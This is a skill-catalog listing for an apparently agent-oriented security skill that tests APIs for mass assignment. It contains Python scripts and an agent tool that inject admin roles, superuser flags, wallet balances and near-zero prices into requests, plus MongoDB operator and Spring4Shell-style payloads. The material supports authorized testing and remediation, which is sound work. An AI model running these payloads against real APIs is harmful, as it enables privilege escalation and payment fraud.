
Testing Api For Mass Assignment Vulnerability
- 264 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Test REST and GraphQL APIs for mass assignment where clients set privileged fields like isAdmin, role, or balance through unfiltered JSON or form parameters before external integrators ship.
About
Tests APIs for mass assignment vulnerabilities by attempting to set server-side privileged attributes through client-controlled JSON fields, form parameters, and nested object bindings lacking strict allowlists.
- Parameter binding audit
- Privilege field injection
- Allowlist validation
- API schema review
Testing Api For Mass Assignment Vulnerability by the numbers
- 264 all-time installs (skills.sh)
- +20 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #662 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-for-mass-assignment-vulnerabilityAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 264 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Test REST and GraphQL APIs for mass assignment where clients set privileged fields like isAdmin, role, or balance through unfiltered JSON or form parameters before external integrators ship.
Files
Testing API for Mass Assignment Vulnerability
When to Use
- Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
- Assessing whether the API binds all client-supplied properties to the data model without an allowlist
- Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
- Testing APIs built with ORMs that auto-bind request parameters to database models
- Validating that server-side input validation restricts writeable properties per user role
Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
Prerequisites
- Written authorization specifying target API endpoints and scope
- Test accounts at different privilege levels
- API documentation or OpenAPI specification to identify expected request fields
- Burp Suite Professional for request interception and parameter injection
- Python 3.10+ with
requestslibrary - Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
Workflow
Step 1: Identify Writable Endpoints and Expected Parameters
import requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")Step 2: Inject Privileged Fields
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "test@example.com"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")Step 3: Verify Assignment Through State Change
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""
# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value is not None:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
return match
return False
# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")Step 4: Framework-Specific Testing
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")Step 5: Order and Financial Object Mass Assignment
# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields
"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
if float(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
if float(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")Key Concepts
| Term | Definition |
|---|---|
| Mass Assignment | Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields |
| Auto-Binding | Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured |
| Allowlist (Whitelist) | Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters |
| Blocklist (Blacklist) | Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist) |
| Object Property Level Authorization | OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access |
| DTO (Data Transfer Object) | Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model |
Tools & Systems
- Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
- Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
- Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
- OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
- Postman: API testing platform for crafting requests with injected parameters and verifying responses
Common Scenarios
Scenario: SaaS User Registration Mass Assignment
Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
Approach: 1. Register a new user with only expected fields: POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"} - returns user with role: "user" 2. Register another user with injected role: POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"} - returns user with role: "admin" 3. Confirm admin access by calling admin endpoints with the new account 4. Test additional fields: is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium features 5. Test profile update endpoint: PUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modified
Pitfalls:
- Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
- Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
- Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
- Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
- Missing nested object mass assignment where fields like
user.roleoraddress.verifiedcan be injected
Output Format
## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Testing API for Mass Assignment Vulnerability
Privilege Field Categories
| Category | Example Fields | Impact |
|---|---|---|
| Role elevation | role, userRole, account_type | Admin access |
| Admin flags | isAdmin, is_superuser | Full privileges |
| Permissions | permissions, scopes, groups | Arbitrary access |
| Account status | verified, is_active | Bypass verification |
| Financial | balance, credit, discount, price | Monetary fraud |
| Ownership | user_id, owner_id | Data theft |
| Internal | debug, is_featured | Hidden features |
Framework-Specific Payloads
| Framework | Payload Pattern |
|---|---|
| Rails/ActiveRecord | {"user": {"role": "admin"}} |
| Django REST | {"is_staff": true, "is_superuser": true} |
| Express/Mongoose | {"$set": {"role": "admin"}} |
| Spring Boot | {"authorities": [{"authority": "ROLE_ADMIN"}]} |
OWASP API3:2023 Mitigations
| Mitigation | Description |
|---|---|
| DTO/Input Schema | Explicit allowed fields per endpoint |
| Strong parameters | Framework allowlist (Rails) |
| Serializer fields | Django REST serializer definition |
| Property filter | Drop unknown fields before binding |
Test Tools
| Tool | Purpose |
|---|---|
| Burp Repeater | Manual parameter injection |
| Param Miner (Burp) | Hidden parameter discovery |
| Arjun | Automated parameter fuzzing |
| Postman | Request body manipulation |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests | >=2.28 | HTTP API calls |
json | stdlib | Payload construction |
References
- OWASP API3:2023: https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/
- Param Miner: https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943
#!/usr/bin/env python3
"""Agent for testing APIs for mass assignment vulnerabilities.
Tests API endpoints for auto-binding vulnerabilities where clients
can modify privileged fields (role, balance, permissions) by
including extra parameters in request bodies. OWASP API3:2023.
"""
import json
import sys
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True},
"permissions": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "verified": True,
"email_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1},
"internal": {"internal_notes": "test", "debug": True, "is_featured": True},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01"},
}
class MassAssignmentTestAgent:
"""Tests APIs for mass assignment / auto-binding vulnerabilities."""
def __init__(self, base_url, output_dir="./mass_assign_test"):
self.base_url = base_url.rstrip("/")
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def _req(self, method, path, headers=None, data=None, timeout=10):
if not requests:
return None
try:
return requests.request(method, f"{self.base_url}{path}",
headers=headers, json=data, timeout=timeout)
except requests.RequestException:
return None
def test_endpoint(self, method, path, base_payload, token):
"""Test a writable endpoint for mass assignment."""
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
results = []
for category, fields in PRIVILEGE_FIELDS.items():
test_payload = {**base_payload, **fields}
resp = self._req(method, path, headers=headers, data=test_payload)
if not resp or resp.status_code not in (200, 201):
continue
try:
resp_data = resp.json()
except (json.JSONDecodeError, ValueError):
continue
for field_name, injected in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected):
finding = {
"endpoint": f"{method} {path}",
"category": category,
"field": field_name,
"injected": injected,
"confirmed": True,
}
results.append(finding)
severity = "critical" if category in ("role_elevation", "admin_flags", "financial") else "high"
self.findings.append({
"severity": severity,
"type": "Mass Assignment",
"detail": f"{method} {path}: {field_name}={injected} accepted",
"owasp": "API3:2023",
})
return results
def verify_state_change(self, token, verification_path="/users/me",
field_name=None, expected_value=None):
"""Verify injected field persisted in the database."""
headers = {"Authorization": f"Bearer {token}"}
resp = self._req("GET", verification_path, headers=headers)
if not resp or resp.status_code != 200:
return False
data = resp.json()
actual = data.get(field_name)
return actual is not None and str(actual) == str(expected_value)
def test_registration(self, register_path="/auth/register", base_payload=None):
"""Test registration endpoint for mass assignment."""
base = base_payload or {
"email": "massassign_test@example.com",
"password": "SecureP@ss123!",
"name": "Test User",
}
results = []
for category, fields in PRIVILEGE_FIELDS.items():
test_payload = {**base, **fields}
resp = self._req("POST", register_path, data=test_payload)
if not resp or resp.status_code not in (200, 201):
continue
try:
resp_data = resp.json()
except (json.JSONDecodeError, ValueError):
continue
for field_name, injected in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected):
results.append({
"endpoint": f"POST {register_path}",
"field": field_name,
"injected": injected,
})
self.findings.append({
"severity": "critical",
"type": "Registration Mass Assignment",
"detail": f"Registration accepts {field_name}={injected}",
})
return results
def test_financial_manipulation(self, token, order_path="/orders"):
"""Test order/financial endpoints for price manipulation."""
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
payloads = [
{"items": [{"product_id": 1, "quantity": 1}], "total": 0.01},
{"items": [{"product_id": 1, "quantity": 1}], "discount_percent": 100},
{"items": [{"product_id": 1, "quantity": 1}], "shipping_cost": 0, "tax": 0},
]
results = []
for payload in payloads:
resp = self._req("POST", order_path, headers=headers, data=payload)
if resp and resp.status_code in (200, 201):
try:
data = resp.json()
total = float(data.get("total", 999))
if total < 1.0:
results.append({"payload": payload, "total": total})
self.findings.append({
"severity": "critical",
"type": "Price Manipulation",
"detail": f"Order created with total={total}",
})
except (ValueError, TypeError, json.JSONDecodeError):
pass
return results
def generate_report(self, token=None, endpoints=None):
registration = self.test_registration()
endpoint_results = []
if token and endpoints:
for ep in endpoints:
results = self.test_endpoint(
ep["method"], ep["path"], ep.get("base_payload", {}), token
)
endpoint_results.extend(results)
report = {
"report_date": datetime.utcnow().isoformat(),
"base_url": self.base_url,
"registration_results": registration,
"endpoint_results": endpoint_results,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "mass_assignment_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <base_url> [--token <jwt>]")
sys.exit(1)
url = sys.argv[1]
token = None
if "--token" in sys.argv:
token = sys.argv[sys.argv.index("--token") + 1]
agent = MassAssignmentTestAgent(url)
agent.generate_report(token)
if __name__ == "__main__":
main()